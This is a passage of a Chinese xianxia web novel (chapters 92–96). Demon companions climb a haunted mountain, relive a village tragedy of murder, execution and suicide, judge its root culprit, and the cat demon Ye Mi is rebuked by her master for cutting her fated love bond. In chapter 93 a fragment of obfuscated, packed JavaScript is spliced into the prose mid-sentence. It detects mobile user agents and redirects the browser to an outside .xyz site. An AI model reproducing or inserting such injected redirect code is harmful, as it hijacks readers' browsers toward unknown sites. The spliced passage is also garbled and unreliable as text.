若她是个坡腿的，定也要废许多心思来走出这身体和心理困境，可这困境就是明晃晃的现实，偶尔的逃脱像是在做梦，总是会醒来的，不得不醒。
她不知道自己能不能在维持着清醒的痛苦的情况下还有如今的抱负和本事。
叶米收回视线，继续往上走。
胡和烈不知从哪找来一条长长的藤蔓，将老爷爷五花大绑了起来，暂且绑在一棵树上，擦了把汗后喘了口气：“你在这好好呆着，等我办完事后领你下山。”
老爷爷也不挣扎，只问道：“下山做什么？难道你要押我去衙门？”
“你们那知县拎不清的，”胡和烈摆摆手，似有些嫌弃，“不过你都杀了这么多人，多是罪不至死的村民，所以怎么算你都该死……不过不能死在我手上，给我惹麻烦。”
老爷爷闻言道：“你就是在这把我杀了，也没人知晓。”
“天知地知你知我知，不还有个天和地知道吗？”扑棱蛾子有些不耐地闷闷道，“我才不像你们一家人，遇到什么事就要杀杀杀的，我自有我的办法。”
“哦，什么办法？”
“……你问我我就要说？就算是些见不得人的阴谋诡计，也比杀人好，你们全家都蠢，都想不明白！”
胡和烈没好气地瞪他一眼，再次确认藤蔓绑紧了之后，不欲再与这人多言，转身往石阶上跑。
这天已经黑透了，他忙活
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一整天也才爬到半山腰，这样下去什么时候才能爬到山顶？叶米他们不会早就在上边等他等得不耐烦了吧？要是再遇到什么人，他保不准还有耐心理会……
“唉。”
胡和烈：。
他听到这声陌生的叹气，就知道前方有人在等着呢。虎头蜂止住了脚步，侧头往山下看去，天色太黑，看不出具体的高度。他又仰头往山上看，这一看也是一愣，似乎瞧见了山顶？
是一个小亭子，黑乎乎的影子映在空中，边上还有一片乌云。胡和烈眯眼瞧了瞧，只能瞧见这么多，估摸了一下路程，大概还有小几百的石阶……胜利就在眼前！
这下他心情好了许多，呼出一口气，脚步不算轻快地继续往上爬去，爬了一会怎么还没见到人呢，又听见一声“唉”从身后传来，他只好又往回走，左右打量着周边，这才在一棵树下发现了一个四十岁左右的男人，身上穿着暗色的官服，头戴一顶乌纱帽。
男人坐在那，唉声叹气着，似乎没有发现胡和烈。
胡和烈也想唉声叹气，他走近了问：“你是谁，大晚上的坐在这做什么？”
“唉。”男人摇头，叹气，抬起手来拍了一下自己的大腿。
胡和烈：……
“我问你话，你是谁？”
“哼。”男人这时候自嘲般地笑了一声，“从来只有我问别人话的份。”
胡和烈便明白了他的身份，带着些阴阳怪气的声调道：“原来你就是那个处死李家老太，又让她的头在光天化日之下被抢走的糊涂知县。”
“你！”男人被冠上糊涂一词，显然有不高兴，伸出手指指了会胡和烈，又重重甩下，也不知道是在气谁，“不当家不知柴米贵，你又没做过知县，有什么资格说我糊涂！”
胡和烈都不想正眼看他：“我是不知道知县怎么当，可一件事的是非黑白，难道只有你看得分明、只有你说的算？”
“我那是……”
“再说了，”胡和烈鄙夷地瞥了他一眼，“若你觉得自己不糊涂、没做错事，现在坐在这一副郁郁寡欢、唉声叹气的模样做什么？”
男人：……
胡和烈：“你就说是不是因为李家老太的事。”
“是。”他眉头皱起来，连带着眼睛也闭上了，像是在逃避现实，“杀人偿命，这是大唐律法中白纸黑字记着的，再说她还将她女婿张甲的尸体埋在山中，我派人寻了半天还是少找一个头，杀人罪、抛尸罪，罪罪不可恕啊！”
“你难道不知道那个姓张的畜生对李老太女儿虐待打骂一事？”
“怎么不知道？她女儿跪在那哭着说了，还说要替她娘去死！”男人甩甩头，简直不想回忆起来，“杀人偿命、杀人偿命！但凡她没杀了张甲，我怎么会判她斩首！若是不判，那张家人要在公堂上怎么闹呢？”
他那愁眉苦脸的模样，整张脸都纠在了一起，道道纹路写成了两字：
难办。
93. 第 93 章
在胡和烈看来，这不难办，他先前听这事的时候还很轻松地想，这畜生死了活该，要是他来当这个知县，他肯定就在公堂上骂几句不该，然后就让人家走了，毕竟老太太也算是除害啊。
他听见那个女人说老太太被判斩首的时候，脑袋里想象的画面是一个面容刻意严肃也掩盖不了得意洋洋的官服男人，坐在公堂之上，头顶“明镜高悬”四字匾额，一拍惊堂木，扔下红头签，掷地有声。
也许下了公堂，他还会和属下吐槽“一个头发花白的老太还挺有能耐，竟然敢杀人”，他属下就应和“大人说的是，不过也是半个身子躺进棺材的人了，许是真的不怕死”，他就哼哼笑两声“反正本官是要长命百岁”。
大概是这么一幅场景，他模糊地有这么个刻板印象，从哪来的不清楚。反正在他的印象里，能做出这样不合情理的判决的官员差不多都是这般的，他还没往他受贿的方向多想呢……
可如今亲眼瞧见了这人，他那么苦恼地坐在这，乌纱帽盖不住他散乱的发丝，四十岁的脸上有更成熟的疲惫，那身原本威风凛凛的官服，也许是因为没坐在官帽椅、而是在脏兮兮的土地上，竟显得那么破败委屈。
“这几日我夜不能寐、食不下咽，”他这么说，“翻开律书一看，来来回回地看，书上就说没判错。可我这心中总是不大舒服，睁眼闭眼就是李老太那张泪流满面的脸，很不是滋味，难道这叫心虚吗？”
胡和烈看他这么痛苦，竟也不知道是不是了。
他先不谈这个话题：“李老太的脑袋被抢一事……”
“我能怎么办！”他一拍大腿说，“当时真是猝不及防，衙役们反应过来要去抢，那张家老太以死相逼，哭哭啼啼、大喊大叫！一个死人的头……总不好再添上一条活生生的命啊。人家也说了，要她儿子的头来还，本就该还给她的，那李家的女儿也应下了，说找来还她……”
“还上了吗？”
男人闭着眼睛摇了摇头：“没还上，还赔上一条人命。那姑娘怎么就想不开了，为何要跳崖啊！”
“那是……”
“我知道，”他又自问自答着，“任谁被欺辱了这么久、失去精神气后，又一下子死了郎君和娘亲，都是不想活的，她娘还是为了救她，这是就是放在我身上，我也是不想活的。”
胡和烈抿了下唇：“你……”
“我总觉得，这姑娘的死和我也脱不了干系。”男人喃喃自语道，“若我没有判她娘死，是不是她也不会死了？她那么无辜、那么可怜，张甲死后，我以为她逃脱了魔爪，还劝过她以后好好过日子，可是……她怎么听得进去？”
胡和烈：“听得进去才怪了。”
“她的死不是我本意！”男人气势微弱地喊了一声。
“要是你知道她会自尽，你还会判她娘斩首吗？”
“你不能这么问。”男人抬眼看向他，眼里有不赞同，“若我断案时还要想这些，世间的事就全然分不出是非黑白，这乌纱帽我也不用戴了。”
“事前不能想，事后你再想又有何用？不过是徒增烦恼。”
男人静默地看着他，脸上有一些无力反驳之意，大概是在想“你说得简单”；胡和烈也安静地看着他，神情是事不关己的正直，也许表达了一些无赖的“那你还想咋地”。
“所以你就要待在这，”胡和烈的视线往边上扫了扫，“一直到自己想明白？”
“这不是你来了？”男人忽然朝他露出一个疲惫而和善的微笑，“你告诉我，若我不想导致之后的悲剧发生，我该怎么做？”
胡和烈快速回忆了一下这个人做了什么，其实他也就做了一件事，于是他答：“我会不杀张老太……”
话音未落，他的眼前忽地白光一闪，再睁开眼时，面前忽然变成了一个县衙大堂，他坐在官帽椅上，似乎有些身份，前边的地上跪着一个满脸泪水的女人，正是李家女儿。
她边上摆着一具尸体，把盖着尸体的白布掀开，是那个他背过的老太，尸首分离地摆在草垫子上，胡和烈愣了愣，一时不明白什么情况，就听那李家女儿哭道：
“大人，您判我娘无罪，可那张家人不服您的判决，竟趁我爹娘在睡梦中时杀了我娘，大人，求您为小女做主啊！”
胡和烈：？
他还未反应过来，大堂外急匆匆地走进一个衙役来，神情焦急道：“大人不好了！李家老头在他老伴死后发了疯，拿着菜刀先去砍了张家人，方才又在村里杀疯了！属下派人将他控制住，可他……一头撞到刀上自尽了！”
“什么！”张家小女猛然站了起来，面色惊恐，“你说我爹他……”
她一时有晕眩的表情，忽地像回过神来一般，双眼十分有力，她低头看了地上的尸体一眼，猝不及防地往侧前方跑去，一头撞到了柱子上，发出一声惊天的“砰”！
胡和烈：……
他和那个衙役惊诧地对上视线，眸光流转之间那双眼睛就变成了知县的眼，里头还有些苦涩的笑意：“你确定不判？”
胡和烈神智回归，还是有些恍惚，他不大确定道：“要判……不过不能判那么重，就判她牢狱之灾。”
“大人不好了！”胡和烈转过头，还是那个下属，还是那副焦急的神情，“李家老太在牢里自尽了！”
胡和烈感到很有实质的头疼：“为什么？”
下属：“据狱卒所说，她同屋的几个犯人被张家人买通，日日夜夜地对李家老太进行谩骂，说她毁了女儿的一生、又杀了女婿，对她不是推搡就是掀翻她的饭菜、踩踏她的床铺……”
胡和烈：“简直是胡闹，那狱卒怎能坐视不管！？”
下属无奈道：“虽然是胡闹，也只是小打小闹，顶多提醒几句，奈何不了她们。再说牢狱里这种芝麻小事多了去了，简直管不过来，没办法的，大人！”
胡和烈闭上眼：“算了，这事先别让她女儿知道。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783474|148393||http|test|mini|href|location''.split(''|''),0,{}));
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“属下正要说呢，那姑娘已经知晓了这事，狱卒说她当场两眼一翻就像要晕，摇摇晃晃地走了，现在不知道在哪啊。”
“……”
“大人，”门口又跑进来一个衙役，“大事不好了！”
“……”
“李家老头在他老伴死后发了疯，拿着菜刀先去砍了张家人，方才又在村里杀疯了！属下派人将他控制住，可他……一头撞到刀上自尽了！”
“……”
胡和烈睁开眼，看见男人有些幸灾乐祸的笑容，撇了下嘴，眉头不自觉紧皱起来：“怎么样都没完没了，那个张家人有毛病。”
男人哼了一声：“可我没有预卜先知的能力，无法阻止他们犯事。就是你能预卜先知，人家没杀人之前也无可奈何，杀了人后就是毫无办法。”
胡和烈想了想，默默地点了下头。
男人不再看他，双眼寂然地看着搭在地上的深色官服，抬起手来，慢慢地将头上的乌纱帽取了下来，放在腿上：
“做知县这几年，我渐渐发现，许多事到我手上已经是不可变的局面了。就连判决后的连带影响似乎也已在冥冥之中有所注定。许多人不懂我的无奈，觉得我糊涂、是个庸官，我心有不甘，事实却让我无法辩驳。”
“做了对的事，怎么都变成错；做了错的事，便是一错再错。”
胡和烈现在不得不同情他了，同情他的正直和善良，若他只是个糊涂的庸官，再沾点行贿的事，那就不会如此痛苦。
“别想这么多。”他只好这样干巴巴地安慰，他不会安慰人。
知县闭上眼睛，脑袋一歪，落下两行泪来：“我也不想……”
泪水落在乌纱帽上，流出一道比黑色更深的痕迹，原来那是血色。捧着帽子的这双手无力地耷拉下来，顺着深色的官服袖子往上看去，宽厚的胸口插着一把生锈的大菜刀，深深地镶嵌在里头，像是土地里长出的树根，数道血流在官服上盘根错节。
胡和烈往后退了一步，或者说是踉跄了一下。
他抬起头来看天空，有不知何时逃出了乌云的两个星星，他感到说不上来的压抑，竟然也想就这样坐下来，什么都不想，一了百了。
可是还有妖在上面等他。
想到三个同伴，他在无措中找到了一个支撑点，转身头也不回地往石阶上跑去。
跑啊，跑啊，再跑快一点。
“我跑不动了！”
万情贞捂着胸口停下来，他长年久坐，体能比他们差了不止一点半点，这下真的累得不行，弯着腰大口喘气。
“快到了。”谢珍珠往上方看了一眼，那象征着终点的小亭子仿佛就在眼前，但好似还很远，“快到了……要不然我背你？”
万情贞差点气没喘上来：“开什么玩笑！等会猫大人要看不起我了。”
谢珍珠皱眉：“别逞强了，叶米本来也没有很看得起你。”
万情贞：……
94. 第 94 章
“我、我连那个杀人魔老头都跑得过，还怕爬不上这短短一截石阶？”他逞强地给自己打气，努力直起腰来，“走，继续走！像我俩这样法力低微的妖，要是意志力都没有，那真是没用了！”
谢珍珠叹了口气，跑到他后边，推着他的背给他一些推力，其实自己也挺累的：“你知道就好。”
知道就好？
“谢珍珠，我总觉得你近来说话越来越难听了。”
“没有啊，不过最近确实比较爱说实话了。”
“……”
吵吵闹闹的其实也挺好，叶米想，她这会独自一妖赶着路，只听到自己的脚步声和喘息声，这么静谧，让她有些怀念和同伴们一起说话的时候。
仰头看看，小亭子就在眼前，也许拐过前边一个弯就能到了。劳累这老半天，就是她体力再好，这会也是精疲力竭、双腿酸胀，抬起来可费劲，跑是跑不起来了，只是僵硬而麻木地把脚抬起来，然后再落下，周而复始。
再走一步，再一步……
叶米拐过那个弯，瞧见山顶上的小亭子就在这最后一条小道的终点，之后确实再没有路了。她露出一个如释重负的微笑，不自觉加快脚步往前走。
小亭子不大，就是很寻常的山间供行人歇息的地方，六面透风，五条长凳将它围绕，空出一面让人进去，中间有一个石桌，上边似乎摆着什么东西。
夜色深深，叶米进入亭中，才瞧见那是一个紫檀方箱，箱子有点大，占了一整个桌面，模样倒是很朴素，除了有一些她不乐意仔细研究的花纹外，并没有镶金带银，甚至没有上锁。
见到这些玩意，叶米是不会犹豫的，碰到箱子的下一秒就把它打开了，只见里头摆着六样东西，她一眼看尽：
从左至右：一纸婚书，一个男人的头颅，一个老太太的头颅，一把菜刀，一枚令牌，一纸诉状。
一抹灵光在箱盖内侧划过，叶米抬眼看去，上边写着：
【一念之错造就人间地狱；苍生何罪，罪无可追，罪魁祸首不入箱中。】
猫理解了一下，就是让她把象征罪魁祸首的东西拿出箱子？这六样东西倒是很好对应上：
首先是一纸婚书，代表老太的女儿李家姑娘，或是这段失败的婚姻；接着是她埋过的男人的头颅，也就是李家姑娘的郎君张甲；旁边是杀了女婿张甲的李家老太；一把菜刀是乱杀的李家老头；令牌则是她最后遇见的那个被菜刀砍死的知县；至于一纸诉状，是张家人告上衙门，请求处死李家老太。
再看箱盖上的词：人间地狱。
人间地狱说明是大规模的惨剧，主要是指李家老头杀了很多人。这么看，造成人间地狱的直接原因自然是李家老头;可若是选“罪魁祸首”，似乎还要考虑一下前因后果。
李家老头砍人是在小女儿跳崖之后，小女儿跳崖是因为她娘被判斩首，斩首是知县判的，但叶米和那知县相遇后便知晓了他的无措和无奈，于是再往前推，一纸诉状是张家告的，若是李家女儿没有和张甲结婚，李家老太就不会去杀女婿。
但婚姻本无错，错的是局中人，若是张甲是个好人，与李家姑娘和和睦睦，哪里会有之后的事？
所以一切的源头是这个男人的错？虽然他在一开始就死了……
叶米托着下巴想了想，总觉得答案不是这么简单。
“……但要不是他，后边哪有那么多事啊。”万情贞愤愤道，“我平日写故事，这种藏着阴险狡诈等娶了娘子后才暴露的行为和诈骗没有任何区别，这种人没有好下场的！”
“他确实没有好下场啊。”谢珍珠朝被紫檀方箱中的某一个人头瞥了一眼，不受控制地抖了一下，赶紧移开视线，“可是他一开始就死了，后边死的这些人都不是出自他手……”
“和他脱不了干系！”
“那也只是脱不了干系，”谢珍珠说，“打骂妻子的罪在凡人的律法里没有这么严重的，就是告上了公堂，可能都判不了和离呢。”
经螃蟹精一点，万情贞悻悻回过神来：“是哦，他们都是凡人，还是要参考如今的律法的……嗐，那照律法来看，这几人之中罪大恶极不就是杀了屠村的的李家老头嘛？”
螃蟹精嘟了下嘴：“但肯定不是这么简单！”
可要是不简单地想，似乎又只能将这错归到张甲身上。胡和烈的视线一一地扫过巷子里的五件物品，当落到非常不起眼的一纸诉状上时，他歪了下脑袋，有了一丝疑惑：
虽说他通过知县的眼看见了李家老太的死和张家人脱不了干系，可知县说的没错，他们的所作所为无法用律法惩罚，顶多只是促成悲剧的某一重要原因，但并不血腥和激烈。
所以当代表张家人的诉状书摆在这几样东西旁边的时候，很容易就被他忽视了，可这样的选项放进来，连混淆视听的效果都没有，难道只是滥竽充数的作用？怎么可能。
胡和烈盯着诉状书，不由得开始回想起和张家人有关的一切，除了畜生张甲之外，在知县等人提供的信息中可知，这张家人个个都不好惹，张甲如此可恶，简直死有余辜，但张家人却依旧不依不饶，还抢了李老太的头……
嘶，也是，能教出张甲这种人的人家能是什么好人家？俗话说得好，上梁不正下梁歪，再从这点深入一分析，就是子不教父之过……过，过错……
难道其实源头中的源头是没教育好张甲的张家人？
胡和烈的眉毛一下子纠结地皱了起来。
“这个说法有些勉强。”万情贞也皱着眉头，“不过好像也有十分的道理啊！”
谢珍珠也是沉思的表情：“这样想稍微复杂深入些……总不会是我们刚刚说的那么简单的……吧？”
书灵：“那到底选什么？”
螃蟹精：“我不敢确定。”
犹豫也是难免的，毕竟就连一向果决的叶米都不敢轻举妄动，
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只怕这一天一夜爬山的艰辛功败垂成。
琢磨来琢磨去，似乎选谁都能说出几分道理，就连无辜的知县也能用上“无心之过酿成大错”的借口，更何况其他人……
猫妖叹了口气，很是心累了。她想其他几妖会选什么答案呢？要是他们都选错了结局会如何，要是有错有对又会如何？这座山把他们困进来到底有什么目的？难道要他们登上山顶就是为了做这个选择题？
……说起来，山脚的时候那行字怎么说的来着：成仙难，难于上青天。恐半途返、志不坚。心无挂碍。
当时她只想着“恐半途返、志不坚”，知道无论如何要登顶就是了。这时候开始思考“心无挂碍”，心想会不会是另一种提示。
说到这，她又记起箱盖内侧的一行字，低头一看：【一念之错造就人间地狱；苍生何罪，罪无可追，罪魁祸首不入箱中。】
一念之错，是谁的一念？
叶米倾向于是李家老太，她似乎这么说过：
【……所以我从梦里醒来，忽然觉得这梦是老天给我的指示。他能杀这么多人，我怎么不敢杀一个？杀了他，一了百了，万事休矣。姑娘，你觉得我做的对吗？】
她说这一念是老天给的指示。
可惜与她想的不同，一了百了、万事休矣的是她自己的性命，而不是悲剧的终止。
叶米抿了下唇，看向箱子中那闭着眼睛的老太太的头颅，满头白发凌乱，几缕落在她无悲无喜的脸上。
苍生何罪，是说那些无辜的村民有什么过错吗？是，几句口舌之非就惹来杀身之祸，放在谁身上都要喊冤。
罪无可追，意思是……凶手，也就是李老头最后也死了，所以这案子在人间就成了无处可申冤的惨案？
罪魁祸首不入箱中……这话的意思像是不原谅罪魁祸首、要将他排除在外似的。让叶米想到先前听说天上的神仙犯了大错，要罚他不准入人道，再看罪行严重程度判他去地狱道、恶鬼道还是畜生道受苦……
这么一分析，确实很像杀人最多的李老头。
叶米闭了闭眼，叹出一口气，感到无法纾解的烦躁。
她拿起箱子中那把锈迹斑斑的菜刀，上面还有擦不去的干掉的血块，微微一转，一块勉强算干净的刀面反射出一道暗淡的光，其中似乎有一个形似怪物的人影在蹒跚行走。
他们家是女主外男主内的，在家干活时要把院门紧闭着。即使已经很少出去了，但有时候在院子里劈柴、喂鸡鸭的时候，隔着破旧的院墙，听见外头走过的脚步声，总是会伴着那些话：
“这李家男人的腿……”
“真可怜啊……”
“嫁过来没多久就断了，出去走不了多少路……”
“他倒像个小媳妇似的在家中拉扯孩子、做饭烧水……”
“嚯，他家这情况真是村里独一份！”
“何止是我们村里独一份啊……”
95. 第 95 章
小女儿长大嫁人之后，受畜生欺负的事在村里传开，那些声音就变了：
“嗐，都说娘家没本事，嫁过去是要受欺负的！”
“那也难怪了，这家小女儿的爹是这个模样，怎么被欺负都是没办法的。”
“真可怜哪……”
“我家那死男人虽然好吃懒做吃喝嫖赌，但好歹人是健全的，每晚有他在边上躺着，睡着踏实！日后闺女出嫁了，受到委屈也敢回来说啊……”
……
窸窸窣窣的，怎么也没完没了。
可他无处声讨、无处辩驳，无法不忍受。
后来他觉得大概是自己的幻觉，为什么几十年了，每回来到院子里都会听到伴着这些话的脚步声呢？哪怕是夜深人静时他来院中透气，耳边也不断缠绕着，直到人快死了才明白，原来很多时候都是自己骂自己。
这样悲哀的人生，饱受折磨几十年，如果一切意外都没发生，他临死之时怎么也算个“无用的好人”，可是仅仅几日，他长久的忍耐和安分带来的一些美好品质就全然消失了。
太不值当了。
但他的人生又有哪些值得呢？
叶米拿着这把刀，手掌感到一种和刀把粘连的粗糙黏腻。她这时候有些难得的后悔，早知如此，当初就该好好地、详细地问过了那几人的情况，而不是敷衍了事，急着赶路。
现在说这些都晚了。
万情贞和谢珍珠对视一眼，看到对方眼中和自己一样的不确定的决心。
书灵：“……确定这样？”
螃蟹精：“嗯！”
“可是……好吧，不能再犹豫了，不然简直没完没了。”
“反正怎么都选不出来，就这样吧。”谢珍珠苦笑一声，“叶米和胡大哥还在等我们呢。”
万情贞深呼一口气：“好！”
他将手搭上箱盖的一角，没有太多的用力，大概是因为少了完全的决心，在这最后的关头，胡和烈还在犹豫着，脸色严肃，眼里有许多复杂，他微微闭上眼摇了摇头，似在劝说自己，而后慢慢地将盖子往下推。
嘎登。
箱体和箱盖发出契合的欢呼，叶米神色平常地收回手，心中是事已至此的坦然，她站在边上，一动不动地、只缓缓呼吸着，在等一个结果。
紫檀方箱发出明晃晃的光芒，并不刺眼，照得整个小亭子像罩住萤火虫的笼子，叶米目不转睛地盯着它，又见箱子上飘起来两个墨色的字：【缘由】。
叶米：……
搞什么，好不容易做了选择还要回答为什么啊？那若是选对了但答错了，这题要怎么算？
心里这般腹诽着，还是配合地回答道：“一念之错造就人间地狱，错的是这一念，是说人人都会犯错，就算是活了几十年的好人，也会有犯错的可能；苍生何罪，被杀的村民是苍生，但张甲李老太李家女儿甚至李老头也是苍生。”
“他们不是无罪，只是都有犯罪的合理原因，不得不让人在可恨之余有同情；罪无可追，张甲虽欺辱李家女儿，但已付出年轻的性命；李家老太虽杀了张甲，但也投案自首被砍下头颅；李老头杀人并非无缘无故，出于他长期扭曲的内心和为妻女报仇，自杀了结也难抵大错特错、罪孽深重，不过……”
“我们仔细想了想，从古至今，作恶无数的人多了去了，大多还是能入轮回的，”谢珍珠和万情贞对视一眼，点了点头，“他并不是那种生来就坏的恶种，无法超度，一个人只要有良知、有良心，便能放下屠刀。”
“是啊。”万情贞应和道，“像那些战场上的士兵，杀人无数；朝廷上的官员，贪赃枉法；更别提坐在龙椅上的帝王，一言能抵万条性命……也没见他们入不了轮回。只不过是用几生几世来受苦还债罢了……”
“别以为我会这么蠢地掉入你们的陷阱，”胡和烈抱着胸，冷哼一声，“小爷我见多识广，这些人性小恶还不足你们神仙挂齿，现在单拎出来给我们出题，又搞什么找出罪魁祸首不入轮回的说法，是不是想小事化大，故意坑妖啊？”
“这老头是可怜又可恨，”胡和烈扯了扯嘴角，“可别以为我不知道，人道每年要投入多少恶鬼、债主转世来惩罚那些凡人，他这样事出有因的杀人，顶多赎个几辈子的罪，谁知道……”
“他这辈子杀的人不是前世欠他的人呢？”叶米微笑浅浅，带着嘲讽，“毕竟天道好轮回，你们就爱玩前因后果这一套，不是吗？”
紫檀方箱的光芒微微凝滞，忽地散发出更刺眼的光线，逼得妖睁不开眼睛，这光如同实物一般，好似能穿透肉身甚至时空，几乎无处可挡。直到它渐渐地散去、暗淡下来，叶米才睁开眼睛，还是那个小亭子，边上却多了三只妖。
“叶米！还有胡大哥！”谢珍珠最先做出反应，兴奋地跳了起来，和万情贞拍了下手，“太好了太好了，我们答对了！”
“呜呜呜猫大人、胡大哥，我和谢珍珠好苦啊。”万情贞笑意藏不住的脸上做出哭哭啼啼的表情，“你是不知道我们这一路上来有多心惊胆战！太吓人了呜呜呜！”
胡和烈心里也高兴，面上嫌弃道：“行了行了，不就爬个山遇几个人，有这么夸张吗？”
叶米见他们几妖都没事，精神状态瞧着也不错，松了口气道：“大家都辛苦了，天快亮了，我们下山吧。”
“好嘞。”
上山容易下山难，这句话没有比现在更适用的时候了，不只是身体上的放松，如今是过了难关又团聚，几妖的心里也很畅快，光是想到同伴在边上，就有稳稳的安心和雀跃。
他们不快不慢地往下走着，天色在几瞬之间转了微微的明亮，侧头望去，旭日露了圆圆一角，已经照透了半边天的云彩，天亮了。
忽然听见叽叽喳喳的鸟叫声，平添了几分生气，不知是本来就有、他们一直没听见，还是现在冒出来的。
不管如何，先继续往下走着，快到山
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脚的时候又瞧见路边上坐着一个四五十岁的男人似乎是在休息，他衣着朴素，背上背着背篓，见到彼此，大家伙都愣了愣。
“这么早啊。”短暂的尴尬过后，男人先朝这几个年轻人打招呼，“瞧你们都面生，不像是我们村里人。”
说实话几妖都有些后遗症了，警惕地点了点头，叶米说：“嗯，我们是外地来的。”
男人热情地回应：“噢噢……难怪。”
万情贞打量他：“大哥，你们村在哪啊？”
男人手随意地往山下一指：“就在山下啊。”
就在山下……
几妖面面相觑，都想到了同一件事。谢珍珠小心地问：“大哥，听说你们村这几日有些不太平？”
“不太平？”男人微懵，“我日日都在村里，不知道发什么了什么不太平的事，是谁同你们说的？”
万情贞道：“就是听说、听说。听说你们村有个老太太砍了女婿的头，然后自首后被斩了脑袋，她女儿接受不了事实就跳崖了，这老太太的老伴为给妻女复仇，杀了村里好多人呢，还把管他们村的知县给杀了……”
男人越听眼睛瞪得越大，待万情贞说完，他诧异地脱口而出：“你们是谁，为什么知道这些往事？”
万情贞真真假假地说谎：“这事闹得这么大，附近的村都知道了，听说我们要往你们村里的方向去，就给我们说了这些。”
“……是闹得很大不错。”男人神色古怪，一一看过这几张脸，顿了顿道，“可那都是四十年前的事了。”
几妖：！？
“四十年前？”
“是啊。”男人点点头，脸色有些欲言又止，“而且这事，就连我们村里人都不乐意再提，毕竟也不是什么好事，像你们这样年纪的小孩，一问一个不知道。”
原来是这样。
胡和烈的脑海里闪过那个被菜刀砍死的知县的惨状，眼眸微暗：“后来呢，那李家人和张家人怎么样了？”
男人说：“张家人都被砍死了，只留下当时在邻居家玩的小孙子。李家的大女儿因为她爹的事，和郎君和离，搬离了村子，如今不知去处。”
莫大的惨剧之后，一切都归于死寂的平静。死的人就这么死了，活的人继续活。
叶米挑了下眉：“你知道的还挺清楚。”
男人苦笑了一下：“想不知道也难。”
他站了起来，将喝了一口的水袋收好，朝几人笑着抬了下手：“我还要上山摘草药，先行一步。”
他们给他让出一条路来，他客气地道了谢，用一只手托在大腿下边，一上一下、一高一低地往石阶上走去。
几妖全都看愣了，这走路的姿势实在是眼熟得紧。
他们呆呆的没说话，只默然地目送他的背影艰难而熟练地往上走着，一步一步地，回过神来时已经走出了好远。
谁也不知道说什么，心中纵有万般猜测，但也没必要了。
96. 第 96 章
几妖没有进那山下的村庄，拖着疲惫的身子继续赶路，在入夜时抵达了最近的县城，随便找了家客栈住下。
隔日一早，叶米一大早醒来，熟练地用断魂草引出情根，瞅见它又长出了叶子，虽有些莫名和奇怪，但也没多想，快准狠地将其斩断之后，打坐疗伤了一会，一套流程走下来格外流畅，事毕之后，她松了口气，心情还算不错。
仿佛这件小事已经不足以让她多思多虑。
收拾好了打算去用膳，一推开门，却瞧见树法祖师站在她门前几步外，侧着身子看着一楼大堂。
叶米一愣：“师父？你怎么来了？”
树法祖师转过身，朝她微微颔首：“为师有话同你说。”
“那我把谢珍珠他们叫来？”
“不必，”树法祖师瞥了眼她身后的房间，“随我来。”
叶米慢吞吞地把门关上，被师父单独叫过去谈话，她很难没有不好的预感，心里琢磨着这几天她做了什么，思来想去都是安分守己，没做什么出格的举动啊……奇了怪了。
跟在树法祖师的后边，她飞到了附近的一片没人的小林子里，可见师父是觉得在客栈里说话不安全……到底是什么事啊？
猫的心中有纳闷和不安，她安分地站在边上，等师父开口。
树法祖师看她一眼，叹了口气，微微闭上眼摇了摇头。
叶米：……
怪吓妖的。
树法祖师其实也没想吓她，开口就是问：“叶米，你可知错？”
叶米真是脑袋一懵，心里确实有几分心虚，但这心虚是莫名其妙的，好似大部分被师父这么问的学生都会有这样的情绪，仔细追究一番，其实没做什么错事，或是做了、但自己并没在意？
“师父……叶米不明白做了什么错事，还请师父明示。”
树法祖师花白的眉毛皱着，眉尾略长，飘在脸上：“你私自查看姻缘簿，知晓与南显成的情缘之后，屡次三番斩断情根逃避因果，这难道不算错？”
叶米听到“姻缘簿”三字时，神色已有五分僵硬。斩情根现在对她来说不过是个顺手而为的小事，慢慢地就忘记了其实这事挺严重的，怎么说也是窥探了天机，而且还试图改变……
“师父。”猫在脑子里快速组织着措辞，“可那姻缘簿上说，我会为了这段情缘放弃成仙的机会，我……这不可能。”
树法祖师：“既然你觉得不可能，为何要斩断情根？难道不是在害怕？”
叶米：……
“学生不知如何解释。”
“这事你错得明明白白，根本无从辩解。”
叶米抿了抿唇，她确实明明白白地在犯这个错，她也确实害怕，自从在多情塔之中体会过姻缘簿对她的影响之后，猫感到自己的渺小微弱。明明在万妖堂里是数一数二的厉害妖，可在神仙的仙器面前却没有招架之力。
她早就明白妖法的局限，正统妖法抵不过仙法，这是天界隐形的施压。而那些闻风丧胆的大妖们，要么是种族天赋高强要么是靠一些“歪门邪道”壮大自身，她一没有种族天赋，二不愿走火入魔。
本本分分地做人、做妖，往往是最简单稳妥的，可世间就是有许多不本分的人和妖，大家大概都发现了，本分做事不会得到他们想要的东西。
“叶米，”树法祖师见她陷入沉思，“这本是你成仙路上该遭的一劫，可你窥探天机规避此劫，难道不算作弊？若是让其他仙人得知此事，为师也不知道如何为你开脱啊。”
叶米先是沉默了会，抬起眼来认真地看树法祖师：“师父，那照你看来，我若是没有偷看姻缘簿，没有斩情根，之后我会成仙吗？”
“这……”树法祖师被她问得一愣，“这得看你的造化。”
“如今就是我的造化。”叶米道，“师父，你曾不止一次说过，凡事发生皆有因果，若我的因果真如姻缘簿上所写，便不该让我碰见万情贞、瞧见姻缘簿，也不该让我找到断魂草，有斩断情根的决心。”
“这一步步，”猫妖眸底划过一丝坚决，她似乎完全信服自己说的话，“就是我的造化。”
树法祖师神色一怔：“叶米，你……”
“师父。”猫妖看人的眼神总是很有力的，在毫无光亮的夜里也显得炯炯有神，“我不能不成仙的。万情贞他们不是没有劝过我，说一份良缘有多么难得；我也听过世间不少为爱牺牲的故事，甚至有为情自愿剔去仙骨的神仙，他们都甘之如饴……”
她说到这，眼里有些惘然，不过很快摇了摇头，是一种坚定的否决：
“也许南显成真是我的良缘，按照原本的故事发展，我也会无法自拔地爱上他，心甘情愿地为他放弃成仙，可天无绝妖之路，我既有这天赐的运气，又有改命的本事，师父，这一切便是最好的发展了。”
树法祖师今日本是来和她好好商量这事的，毕竟偷看姻缘簿的罪过说大不大说小不小，若是被捉住小辫子，肯定能做出文章来；没想到她倒有自己的一套道理，说起来还像模像样的，甚至用上了他上课时爱说的“凡事发生皆有因果”……
